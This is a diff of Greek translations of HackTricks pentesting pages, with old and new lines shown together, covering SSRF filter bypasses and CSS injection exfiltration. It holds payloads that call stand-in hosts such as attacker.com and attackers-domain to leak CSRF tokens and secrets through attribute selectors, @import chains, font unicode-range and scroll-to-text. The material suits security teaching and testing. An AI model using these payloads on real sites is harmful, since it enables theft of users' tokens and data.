### Διαδρομές και Παράκαμψη Επεκτάσεων
Εάν απαιτείται η URL να τελειώνει σε μια διαδρομή ή μια επέκταση, ή να περιέχει μια διαδρομή, μπορείτε να δοκιμάσετε μία από τις παρακάτω παρακάμψεις:
Εάν απαιτείται η κατάληξη του URL να περιέχει μια διαδρομή ή μια επέκταση, ή να περιέχει μια διαδρομή, μπορείτε να δοκιμάσετε μία από τις παρακάτω παρακάμψεις:
```
https://metadata/vulerable/path#/expected/path
https://metadata/vulerable/path#.extension
@ -163,9 +171,10 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
Το εργαλείο [**recollapse**](https://github.com/0xacb/recollapse) μπορεί να δημιουργήσει παραλλαγές από ένα δεδομένο εισαγωγής για να προσπαθήσει να παρακάμψει το χρησιμοποιούμενο regex. Ελέγξτε [**αυτή την ανάρτηση**](https://0xacb.com/2022/11/21/recollapse/) επίσης για περισσότερες πληροφορίες.
### Bypass via redirect
### Bypass μέσω ανακατεύθυνσης
Μπορεί να είναι δυνατόν ο διακομιστής να **φιλτράρει τον αρχικό αίτημα** ενός SSRF **αλλά όχι** μια πιθανή **ανακατεύθυνση** απάντηση σε αυτό το αίτημα. Για παράδειγμα, ένας διακομιστής ευάλωτος σε SSRF μέσω: `url=https://www.google.com/` ενδέχεται να **φιλτράρει την παράμετρο url**. Αλλά αν χρησιμοποιήσετε έναν [διακομιστή python για να ανταποκριθεί με ένα 302](https://pastebin.com/raw/ywAUhFrv) στον τόπο όπου θέλετε να ανακατευθύνετε, ενδέχεται να μπορείτε να **έχετε πρόσβαση σε φιλτραρισμένες διευθύνσεις IP** όπως το 127.0.0.1 ή ακόμη και σε φιλτραρισμένα **πρωτόκολλα** όπως το gopher. [Ελέγξτε αυτήν την αναφορά.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
Μπορεί να είναι δυνατόν ο διακομιστής να **φιλτράρει τον αρχικό αίτημα** ενός SSRF **αλλά όχι** μια πιθανή **ανακατεύθυνση** απάντηση σε αυτό το αίτημα. Για παράδειγμα, ένας διακομιστής ευάλωτος σε SSRF μέσω: `url=https://www.google.com/` ενδέχεται να **φιλτράρει την παράμετρο url**. Αλλά αν χρησιμοποιήσετε έναν [διακομιστή python για να ανταποκριθεί με ένα 302](https://pastebin.com/raw/ywAUhFrv) στον τόπο όπου θέλετε να ανακατευθύνετε, ενδέχεται να μπορείτε να **έχετε πρόσβαση σε φιλτραρισμένες διευθύνσεις IP** όπως το 127.0.0.1 ή ακόμη και σε φιλτραρισμένα **πρωτόκολλα** όπως το gopher.\
[Ελέγξτε αυτήν την αναφορά.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
```python
#!/usr/bin/env python3
@ -190,7 +199,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
### Κόλπος με Ανάστροφη Κάθετο
Ο _κόλπος με την ανάστροφη κάθετο_ εκμεταλλεύεται μια διαφορά μεταξύ του [Προτύπου URL του WHATWG](https://url.spec.whatwg.org/#url-parsing) και του [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Ενώ το RFC3986 είναι ένα γενικό πλαίσιο για τα URIs, το WHATWG είναι ειδικό για τις διευθύνσεις URL του web και έχει υιοθετηθεί από τους σύγχρονους περιηγητές. Η κύρια διάκριση βρίσκεται στην αναγνώριση του προτύπου WHATWG της ανάστροφης κάθετου (`\`) ως ισοδύναμη με την κάθετο (/), επηρεάζοντας τον τρόπο με τον οποίο ερμηνεύονται οι διευθύνσεις URL, συγκεκριμένα σημειώνοντας τη μετάβαση από το όνομα κεντρικού υπολογιστή στη διαδρομή σε μια διεύθυνση URL.
Ο _κόλπος με την ανάστροφη κάθετο_ εκμεταλλεύεται μια διαφορά μεταξύ του [Προτύπου URL του WHATWG](https://url.spec.whatwg.org/#url-parsing) και του [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Ενώ το RFC3986 είναι ένα γενικό πλαίσιο για τα URIs, το WHATWG είναι ειδικό για τις διευθύνσεις URL του web και έχει υιοθετηθεί από τους σύγχρονους περιηγητές. Η κύρια διαφορά βρίσκεται στην αναγνώριση του προτύπου WHATWG της ανάστροφης κάθετου (`\`) ως ισοδύναμη με την κάθετο (/), επηρεάζοντας τον τρόπο με τον οποίο ερμηνεύονται οι διευθύνσεις URL, ειδικά στην αναγνώριση της μετάβασης από το όνομα κεντρικού υπολογιστή στη διαδρομή σε μια διεύθυνση URL.
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
@ -205,6 +214,12 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
**Ομάδα Ασφάλειας Try Hard**
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
<details>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>

View file

@ -1,22 +1,30 @@
# Εισαγωγή CSS
# Ενσωμάτωση CSS
<details>
<summary><strong>Μάθετε το χάκινγκ του AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Μάθετε το χάκινγκ στο AWS από το μηδέν μέχρι τον ήρωα με το</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Ειδικός Red Team του HackTricks AWS)</strong></a><strong>!</strong></summary>
Άλλοι τρόποι για να υποστηρίξετε το HackTricks:
Άλλοι τρόποι υποστήριξης του HackTricks:
* Εάν θέλετε να δείτε την **εταιρεία σας να διαφημίζεται στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αν θέλετε να δείτε την **εταιρεία σας διαφημισμένη στο HackTricks** ή να **κατεβάσετε το HackTricks σε μορφή PDF** ελέγξτε τα [**ΣΧΕΔΙΑ ΣΥΝΔΡΟΜΗΣ**](https://github.com/sponsors/carlospolop)!
* Αποκτήστε το [**επίσημο PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ανακαλύψτε [**The PEASS Family**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* Ανακαλύψτε [**την Οικογένεια PEASS**](https://opensea.io/collection/the-peass-family), τη συλλογή μας από αποκλειστικά [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Εγγραφείτε στη** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στη [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Μοιραστείτε τα χάκινγκ κόλπα σας υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) αποθετήρια του github.
</details>
## Εισαγωγή CSS
**Ομάδα Ασφαλείας Try Hard**
### Επιλογέας Χαρακτηριστικού
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
## Ενσωμάτωση CSS
### Επιλογέας Χαρακτηριστικών
Οι επιλογείς CSS δημιουργούνται για να ταιριάζουν με τιμές των χαρακτηριστικών `name` και `value` ενός στοιχείου `input`. Εάν το χαρακτηριστικό τιμής του στοιχείου εισόδου ξεκινά με ένα συγκεκριμένο χαρακτήρα, φορτώνεται ένα προκαθορισμένο εξωτερικό πόρο:
```css
@ -31,30 +39,30 @@ input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
```
Ωστόσο, αυτή η προσέγγιση αντιμετωπίζει μια περιορισμένη λειτουργία όταν ασχολείται με κρυφά στοιχεία εισόδου (`type="hidden"`) επειδή τα κρυφά στοιχεία δεν φορτώνουν φόντα.
Ωστόσο, αυτή η προσέγγιση αντιμετωπίζει μια περιορισμένη λειτουργία όταν ασχολείται με κρυμμένα στοιχεία εισόδου (`type="hidden"`) επειδή τα κρυμμένα στοιχεία δεν φορτώνουν φόντα.
#### Παράκαμψη για Κρυφά Στοιχεία
#### Παράκαμψη για Κρυμμένα Στοιχεία
Για να παρακάμψετε αυτόν τον περιορισμό, μπορείτε να επιλέξετε ένα επόμενο αδελφό στοιχείο χρησιμοποιώντας το γενικό συνδυαστή `~`. Ο κανόνας CSS εφαρμόζεται σε όλα τα αδέλφια που ακολουθούν το κρυφό στοιχείο εισόδου, προκαλώντας τη φόρτωση της εικόνας φόντου:
Για να παρακάμψετε αυτό τον περιορισμό, μπορείτε να στοχεύσετε ένα επόμενο αδελφικό στοιχείο χρησιμοποιώντας το γενικό συνδυαστή αδελφικού (`~`). Ο κανόνας CSS εφαρμόζεται στα όλα τα αδέλφια που ακολουθούν το κρυμμένο στοιχείο εισόδου, προκαλώντας τη φόρτωση της εικόνας φόντου:
```css
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
```
Ένα πρακτικό παράδειγμα εκμετάλλευσης αυτής της τεχνικής περιγράφεται στον παρεχόμενο κώδικα. Μπορείτε να τον δείτε [εδώ](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
Ένα πρακτικό παράδειγμα εκμετάλλευσης αυτής της τεχνικής αναλύεται στο αναλυτικό κομμάτι κώδικα που παρέχεται. Μπορείτε να το δείτε [εδώ](https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e).
#### Προαπαιτήσεις για την εκμετάλλευση της CSS Injection
#### Προϋποθέσεις για την Εισαγωγή CSS
Για να είναι αποτελεσματική η τεχνική της CSS Injection, πρέπει να πληρούνται ορισμένες προϋποθέσεις:
Για να είναι αποτελεσματική η τεχνική Εισαγωγής CSS, πρέπει να πληρούνται ορισμένες προϋποθέσεις:
1. **Μήκος του Payload**: Ο διάνυσμα εισαγωγής CSS πρέπει να υποστηρίζει αρκετά μεγάλα payloads για να χωρέσει τους δημιουργημένους επιλογείς.
2. **Επαναξιολόγηση του CSS**: Πρέπει να έχετε τη δυνατότητα να πλαισιώσετε τη σελίδα, που είναι απαραίτητο για να ενεργοποιηθεί η επαναξιολόγηση του CSS με τα νεοδημιουργημένα payloads.
3. **Εξωτερικοί Πόροι**: Η τεχνική υποθέτει τη δυνατότητα χρήσης εικόνων που φιλοξενούνται εξωτερικά. Αυτό μπορεί να περιορίζεται από την πολιτική ασφαλείας περιεχομένου (Content Security Policy - CSP) του ιστότοπου.
1. **Μήκος Φορτίου**: Ο διάνυσμα εισαγωγής CSS πρέπει να υποστηρίζει αρκετά μεγάλα φορτία για να χωρέσει τους κατασκευασμένους επιλογείς.
2. **Επανεκτίμηση CSS**: Θα πρέπει να έχετε τη δυνατότητα να διαμορφώσετε τη σελίδα, η οποία είναι απαραίτητη για να ενεργοποιηθεί η επανεκτίμηση του CSS με νεοδημιουργημένα φορτία.
3. **Εξωτερικοί Πόροι**: Η τεχνική υποθέτει τη δυνατότητα χρήσης εικόνων που φιλοξενούνται εξωτερικά. Αυτό ενδέχεται να περιορίζεται από την Πολιτική Ασφαλείας Περιεχομένου (CSP) του ιστότοπου.
### Τυφλός Επιλογέας Χαρακτηριστικών
Όπως [**εξηγείται σε αυτήν την ανάρτηση**](https://portswigger.net/research/blind-css-exfiltration), είναι δυνατό να συνδυαστούν οι επιλογείς **`:has`** και **`:not`** για να αναγνωριστεί περιεχόμενο ακόμα και από τυφλά στοιχεία. Αυτό είναι πολύ χρήσιμο όταν δεν έχετε ιδέα τι περιέχει η ιστοσελίδα που φορτώνει την εισαγωγή CSS.\
Είναι επίσης δυνατό να χρησιμοποιηθούν αυτοί οι επιλογείς για να εξαχθούν πληροφορίες από διάφορα τμήματα του ίδιου τύπου, όπως στο παράδειγμα:
Όπως [**εξηγείται σε αυτήν την ανάρτηση**](https://portswigger.net/research/blind-css-exfiltration), είναι δυνατόν να συνδυάσετε τους επιλογείς **`:has`** και **`:not`** για να αναγνωρίσετε περιεχόμενο ακόμα και από τυφλά στοιχεία. Αυτό είναι πολύ χρήσιμο όταν δεν έχετε ιδέα τι περιέχεται στην ιστοσελίδα που φορτώνει την εισαγωγή CSS.\
Είναι επίσης δυνατόν να χρησιμοποιήσετε αυτούς τους επιλογείς για να εξάγετε πληροφορίες από διάφορα τμήματα του ίδιου τύπου όπως στο:
```html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
@ -64,34 +72,34 @@ background:url(/m);
<input name=mytoken value=1337>
<input name=myname value=gareth>
```
Συνδυάζοντας αυτό με την ακόλουθη τεχνική **@import**, είναι δυνατόν να εξαγάγετε πολλές πληροφορίες χρησιμοποιώντας την ενσωμάτωση CSS από τυφλές σελίδες με το [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
Συνδυάζοντας αυτό με την ακόλουθη τεχνική **@import**, είναι δυνατή η εξαγωγή πολλών **πληροφοριών χρησιμοποιώντας ενσωμάτωση CSS από τυφλές σελίδες με** [**blind-css-exfiltration**](https://github.com/hackvertor/blind-css-exfiltration)**.**
### @import
Η προηγούμενη τεχνική έχει μερικά μειονεκτήματα, ελέγξτε τις προϋποθέσεις. Είτε πρέπει να είστε σε θέση να **στείλετε πολλούς συνδέσμους στο θύμα**, είτε πρέπει να είστε σε θέση να **ενσωματώσετε την ευπάθεια της ενσωμάτωσης CSS σελίδας**.
Η προηγούμενη τεχνική έχει μερικά μειονεκτήματα, ελέγξτε τις προϋποθέσεις. Χρειάζεται είτε να μπορείτε να **στείλετε πολλούς συνδέσμους στο θύμα**, είτε να μπορείτε να **ενσωματώσετε την ευπάθεια ενσωμάτωσης CSS σε μια σελίδα**.
Ωστόσο, υπάρχει μια άλλη έξυπνη τεχνική που χρησιμοποιεί το **CSS `@import`** για να βελτιώσει την ποιότητα της τεχνικής.
Ωστόσο, υπάρχει μια άλλη εξυπνη τεχνική που χρησιμοποιεί το **CSS `@import`** για να βελτιώσει την ποιότητα της τεχνικής.
Αυτό πρωτοεμφανίστηκε από τον [**Pepe Vila**](https://vwzq.net/slides/2019-s3\_css\_injection\_attacks.pdf) και λειτουργεί ως εξής:
Αντί να φορτώνετε την ίδια σελίδα ξανά και ξανά με δεκάδες διαφορετικά φορτία κάθε φορά (όπως στην προηγούμενη), θα **φορτώσουμε τη σελίδα μόνο μία φορά και μόνο με ένα import στον διακομιστή του επιτιθέμενου** (αυτό είναι το φορτίο που θα στείλουμε στο θύμα):
Αντί να φορτώνουμε την ίδια σελίδα ξανά και ξανά με δεκάδες διαφορετικά φορτία κάθε φορά (όπως στην προηγούμενη), θα **φορτώσουμε τη σελίδα μόνο μια φορά και μόνο με ένα import στον διακομιστή των επιτιθέμενων** (αυτό είναι το φορτίο που πρέπει να σταλεί στο θύμα):
```css
@import url('//attacker.com:5001/start?');
```
1. Η εισαγωγή θα **λάβει ορισμένο CSS script** από τους επιτιθέμενους και ο **περιηγητής θα το φορτώσει**.
2. Το πρώτο μέρος του CSS script που θα στείλει ο επιτιθέμενος είναι **ένα άλλο `@import` προς τον διακομιστή των επιτιθέμενων**.
1. Ο διακομιστής των επιτιθέμενων δεν θα απαντήσει ακόμη σε αυτό το αίτημα, καθώς θέλουμε να διαρρεύσουμε μερικούς χαρακτήρες και στη συνέχεια να απαντήσουμε σε αυτήν την εισαγωγή με το φορτίο για να διαρρεύσουμε τους επόμενους.
3. Το δεύτερο και μεγαλύτερο μέρος του φορτίου θα είναι ένα **διαρροής χαρακτήρων με επιλογέα γνωρισμάτων**.
1. Αυτό θα στείλει στον διακομιστή των επιτιθέμενων τον **πρώτο χαρακτήρα του μυστικού και τον τελευταίο**.
4. Μόλις ο διακομιστής των επιτιθέμενων λάβει τον **πρώτο και τελευταίο χαρακτήρα του μυστικού**, θα **απαντήσει στην εισαγωγή που ζητήθηκε στο βήμα 2**.
1. Η απάντηση θα είναι ακριβώς η ίδια με τα **βήματα 2, 3 και 4**, αλλά αυτή τη φορά θα προσπαθήσει να **βρει τον δεύτερο χαρακτήρα του μυστικού και στη συνέχεια τον προτελευταίο**.
1. Η εισαγωγή θα λάβει κάποιο CSS script από τους επιτιθέμενους και ο περιηγητής θα το φορτώσει.
2. Το πρώτο μέρος του CSS script που θα στείλει ο επιτιθέμενος είναι άλλο ένα `@import` προς τον διακομιστή των επιτιθέμενων.
3. Ο διακομιστής των επιτιθέμενων δεν θα απαντήσει ακόμα σε αυτό το αίτημα, καθώς θέλουμε να διαρρεύσουμε μερικούς χαρακτήρες και στη συνέχεια να απαντήσουμε σε αυτήν την εισαγωγή με το φορτίο για να διαρρεύσουμε τους επόμενους.
4. Το δεύτερο και μεγαλύτερο μέρος του φορτίου θα είναι ένα φορτίο διαρροής επιλογέα γνωρισμάτων.
5. Αυτό θα στείλει στον διακομιστή των επιτιθέμενων τον πρώτο χαρακτήρα του μυστικού και τον τελευταίο.
6. Μόλις ο διακομιστής των επιτιθέμενων λάβει τον πρώτο και τον τελευταίο χαρακτήρα του μυστικού, θα απαντήσει στην εισαγωγή που ζητήθηκε στο βήμα 2.
7. Η απάντηση θα είναι ακριβώς η ίδια με τα βήματα 2, 3 και 4, αλλά αυτή τη φορά θα προσπαθήσει να βρει τον δεύτερο χαρακτήρα του μυστικού και στη συνέχεια τον προτελευταίο.
Ο επιτιθέμενος θα **ακολουθήσει αυτόν τον κύκλο μέχρι να καταφέρει να διαρρεύσει πλήρως το μυστικό**.
Ο επιτιθέμενος θα ακολουθήσει αυτόν τον βρόχο μέχρι να καταφέρει να διαρρεύσει πλήρως το μυστικό.
Μπορείτε να βρείτε το αρχικό [**κώδικα του Pepe Vila για την εκμετάλλευση αυτής της ευπάθειας εδώ**](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ή μπορείτε να βρείτε σχεδόν τον [**ίδιο κώδικα αλλά σχολιασμένο εδώ**](./#css-injection)
Μπορείτε να βρείτε το αρχικό [κώδικα του Pepe Vila για την εκμετάλλευση αυτού εδώ](https://gist.github.com/cgvwzq/6260f0f0a47c009c87b4d46ce3808231) ή μπορείτε να βρείτε σχεδόν τον [ίδιο κώδικα αλλά σχολιασμένο εδώ.](./#css-injection)
{% hint style="info" %}
Το script θα προσπαθήσει να ανακαλύψει 2 χαρακτήρες κάθε φορά (από την αρχή και από το τέλος) επειδή ο επιλογέας γνωρισμάτων επιτρέπει να γίνουν πράγματα όπως:
Το σενάριο θα προσπαθήσει να ανακαλύψει 2 χαρακτήρες κάθε φορά (από την αρχή και από το τέλος) επειδή ο επιλογέας γνωρισμάτων επιτρέπει να γίνουν πράγματα όπως:
```css
/* value^= to match the beggining of the value*/
input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
@ -99,30 +107,30 @@ input[value^="0"]{--s0:url(http://localhost:5001/leak?pre=0)}
/* value$= to match the ending of the value*/
input[value$="f"]{--e0:url(http://localhost:5001/leak?post=f)}
```
Αυτό επιτρέπει στο σενάριο να διαρρεύσει το μυστικό πιο γρήγορα.
Αυτό επιτρέπει στο script να διαρρεύσει το μυστικό πιο γρήγορα.
{% endhint %}
{% hint style="warning" %}
Μερικές φορές το σενάριο **δεν ανιχνεύει σωστά ότι το ανακαλυφθέν πρόθεμα + επίθημα είναι ήδη η πλήρης σημαία** και θα συνεχίσει προς τα εμπρός (στο πρόθεμα) και προς τα πίσω (στο επίθημα) και σε κάποιο σημείο θα κολλήσει.\
Μην ανησυχείτε, απλά ελέγξτε την **έξοδο** επειδή **μπορείτε να δείτε εκεί τη σημαία**.
Μερικές φορές το script **δεν ανιχνεύει σωστά ότι το εντοπισμένο πρόθεμα + επίθεμα είναι ήδη η πλήρης σημαία** και θα συνεχίσει προς τα εμπρός (στο πρόθεμα) και προς τα πίσω (στο επίθεμα) και σε κάποιο σημείο θα κολλήσει.\
Μην ανησυχείτε, απλά ελέγξτε τη **έξοδο** επειδή **μπορείτε να δείτε τη σημαία εκεί**.
{% endhint %}
### Άλλοι επιλογείς
### Άλλοι επιλέκτες
Άλλοι τρόποι για να έχετε πρόσβαση σε μέρη του DOM με **επιλογείς CSS**:
Άλλοι τρόποι πρόσβασης σε τμήματα DOM με **επιλέκτες CSS**:
* **`.class-to-search:nth-child(2)`**: Αυτό θα αναζητήσει το δεύτερο στοιχείο με την κλάση "class-to-search" στο DOM.
* **`:empty`** επιλογέας: Χρησιμοποιείται για παράδειγμα στο [**αυτό το writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
* **Επιλέκτης `:empty`**: Χρησιμοποιείται για παράδειγμα στο [**συγκεκριμένο writeup**](https://github.com/b14d35/CTF-Writeups/tree/master/bi0sCTF%202022/Emo-Locker)**:**
```css
[role^="img"][aria-label="1"]:empty { background-image: url("YOUR_SERVER_URL?1"); }
```
### Βασισμένη σε σφάλματα XS-Search
### Βασισμένο σε Σφάλματα XS-Search
**Αναφορά:** [Επίθεση βασισμένη σε CSS: Κατάχρηση του unicode-range του @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Error-Based XS-Search PoC από τον @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
**Αναφορά:** [Επίθεση βασισμένη σε CSS: Κατάχρηση του unicode-range του @font-face ](https://mksben.l0.cm/2015/10/css-based-attack-abusing-unicode-range.html), [Απόδειξη Έργου XS-Search βασισμένη σε Σφάλματα από τον @terjanq](https://twitter.com/terjanq/status/1180477124861407234)
Ο συνολικός σκοπός είναι να **χρησιμοποιήσετε ένα προσαρμοσμένο γραμματοσειρά από έναν ελεγχόμενο τερματικό** και να διασφαλίσετε ότι **ο κείμενος (σε αυτήν την περίπτωση, 'A') εμφανίζεται με αυτήν τη γραμματοσειρά μόνο εάν η καθορισμένη πηγή (`favicon.ico`) δεν μπορεί να φορτωθεί**.
Η γενική πρόθεση είναι να **χρησιμοποιήσετε ένα προσαρμοσμένο γραμματοσειρά από έναν ελεγχόμενο τερματικό σημείο** και να διασφαλίσετε ότι **ο κείμενος (σε αυτήν την περίπτωση, 'Α') εμφανίζεται με αυτήν τη γραμματοσειρά μόνο αν το καθορισμένο πόρισμα (`favicon.ico`) δεν μπορεί να φορτωθεί**.
```html
<!DOCTYPE html>
<html>
@ -147,45 +155,45 @@ font-family: 'poc';
</html>
```
1. **Χρήση Προσαρμοσμένης Γραμματοσειράς**:
- Μια προσαρμοσμένη γραμματοσειρά ορίζεται χρησιμοποιώντας τον κανόνα `@font-face` μέσα σε ένα `<style>` tag στην ενότητα `<head>`.
- Η γραμματοσειρά ονομάζεται `poc` και ανακτάται από έναν εξωτερικό προορισμό (`http://attacker.com/?leak`).
- Η ιδιότητα `unicode-range` ορίζεται σε `U+0041`, στοχεύοντας το συγκεκριμένο Unicode χαρακτήρα 'A'.
- Μια προσαρμοσμένη γραμματοσειρά ορίζεται χρησιμοποιώντας τον κανόνα `@font-face` μέσα σε ένα `<style>` tag στην ενότητα `<head>`.
- Η γραμματοσειρά ονομάζεται `poc` και ανακτάται από έναν εξωτερικό τερματικό (`http://attacker.com/?leak`).
- Η ιδιότητα `unicode-range` ορίζεται σε `U+0041`, στοχεύοντας το συγκεκριμένο Unicode χαρακτήρα 'A'.
2. **Στοιχείο Object με Εναλλακτικό Κείμενο**:
- Δημιουργείται ένα στοιχείο `<object>` με `id="poc0"` στην ενότητα `<body>`. Αυτό το στοιχείο προσπαθεί να φορτώσει ένα πόρο από το `http://192.168.0.1/favicon.ico`.
- Το `font-family` για αυτό το στοιχείο ορίζεται σε `'poc'`, όπως ορίζεται στην ενότητα `<style>`.
- Εάν ο πόρος (`favicon.ico`) αποτύχει να φορτωθεί, το εναλλακτικό περιεχόμενο (το γράμμα 'A') μέσα στο `<object>` tag εμφανίζεται.
- Το εναλλακτικό περιεχόμενο ('A') θα εμφανιστεί χρησιμοποιώντας την προσαρμοσμένη γραμματοσειρά `poc` εάν ο εξωτερικός πόρος δεν μπορεί να φορτωθεί.
2. **Στοιχείο Αντικειμένου με Εναλλακτικό Κείμενο**:
- Ένα στοιχείο `<object>` με `id="poc0"` δημιουργείται στην ενότητα `<body>`. Αυτό το στοιχείο προσπαθεί να φορτώσει ένα πόρο από το `http://192.168.0.1/favicon.ico`.
- Το `font-family` γι' αυτό το στοιχείο ορίζεται σε `'poc'`, όπως έχει οριστεί στην ενότητα `<style>`.
- Αν ο πόρος (`favicon.ico`) αποτύχει να φορτωθεί, το εναλλακτικό περιεχόμενο (το γράμμα 'A') μέσα στην ετικέτα `<object>` εμφανίζεται.
- Το εναλλακτικό περιεχόμενο ('A') θα αποτυπωθεί χρησιμοποιώντας την προσαρμοσμένη γραμματοσειρά `poc` αν ο εξωτερικός πόρος δεν μπορεί να φορτωθεί.
### Στυλιστική Αναζήτησης Κειμένου με Κύλιση
### Στυλιστική Καθοδήγηση προς το Κομμάτι Κειμένου Κύλισης
Η ψευδοκλάση **`:target`** χρησιμοποιείται για να επιλέξει ένα στοιχείο που επιλέγεται από ένα **απόσπασμα URL**, όπως καθορίζεται στο [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Είναι σημαντικό να κατανοήσουμε ότι το `::target-text` δεν ταιριάζει με κανένα στοιχείο εκτός εάν το κείμενο επιλέγεται ρητά από το απόσπασμα.
Η **`:target`** ψευδο-κλάση χρησιμοποιείται για να επιλέξει ένα στοιχείο που έχει στοχευτεί από ένα **κομμάτι URL**, όπως καθορίζεται στην [προδιαγραφή CSS Επιλογέων Επιπέδου 4](https://drafts.csswg.org/selectors-4/#the-target-pseudo). Είναι κρίσιμο να κατανοήσουμε ότι το `::target-text` δεν ταιριάζει με κανένα στοιχείο εκτός αν το κείμενο στοχεύεται ρητά από το κομμάτι.
Προκύπτει μια ανησυχία ασφαλείας όταν οι επιτιθέμενοι εκμεταλλεύονται τη δυνατότητα του αποσπάσματος **Κύλισης-προς-κείμενο**, επιτρέποντάς τους να επιβεβαιώσουν την παρουσία συγκεκριμένου κειμένου σε μια ιστοσελίδα φορτώνοντας έναν πόρο από τον διακομιστή τους μέσω ενσωμάτωσης HTML. Η μέθοδος περιλαμβάνει την ενσωμάτωση ενός κανόνα CSS όπως αυτός:
Μια ανησυχία ασφαλείας προκύπτει όταν οι επιτιθέμενοι εκμεταλλεύονται το χαρακτηριστικό **Κομμάτι Κειμένου Κύλισης**, επιτρέποντάς τους να επιβεβαιώσουν την παρουσία συγκεκριμένου κειμένου σε μια ιστοσελίδα μέσω ενσωμάτωσης HTML. Η μέθοδος περιλαμβάνει την ενσωμάτωση ενός κανόνα CSS όπως αυτό:
```css
:target::before { content : url(target.png) }
```
Σε τέτοια σενάρια, εάν το κείμενο "Διαχειριστής" είναι παρόν στη σελίδα, ο διακομιστής αιτείται το αρχείο `target.png`, υποδεικνύοντας την παρουσία του κειμένου. Μια περίπτωση αυτής της επίθεσης μπορεί να εκτελεστεί μέσω ενός ειδικά δημιουργημένου URL που ενσωματώνει το εισαχθέν CSS μαζί με ένα κομμάτι κειμένου που κατευθύνει σε αυτό.
Σε τέτοια σενάρια, εάν το κείμενο "Διαχειριστής" υπάρχει στη σελίδα, ο πόρος `target.png` ζητείται από τον διακομιστή, υποδεικνύοντας την παρουσία του κειμένου. Μια περίπτωση αυτής της επίθεσης μπορεί να εκτελεστεί μέσω ενός ειδικά δημιουργημένου URL που ενσωματώνει το ενθετωμένο CSS δίπλα σε ένα κομμάτι κώδικα κύλισης προς κείμενο:
```
http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
```
Εδώ, η επίθεση παραποιεί την εισαγωγή HTML για να μεταδώσει τον κώδικα CSS, με στόχο το συγκεκριμένο κείμενο "Διαχειριστής" μέσω του κομματιού Scroll-to-text (`#:~:text=Διαχειριστής`). Εάν το κείμενο βρεθεί, φορτώνεται ο καθορισμένος πόρος, αποκαλύπτοντας ακούσια την παρουσία του στον επιτιθέμενο.
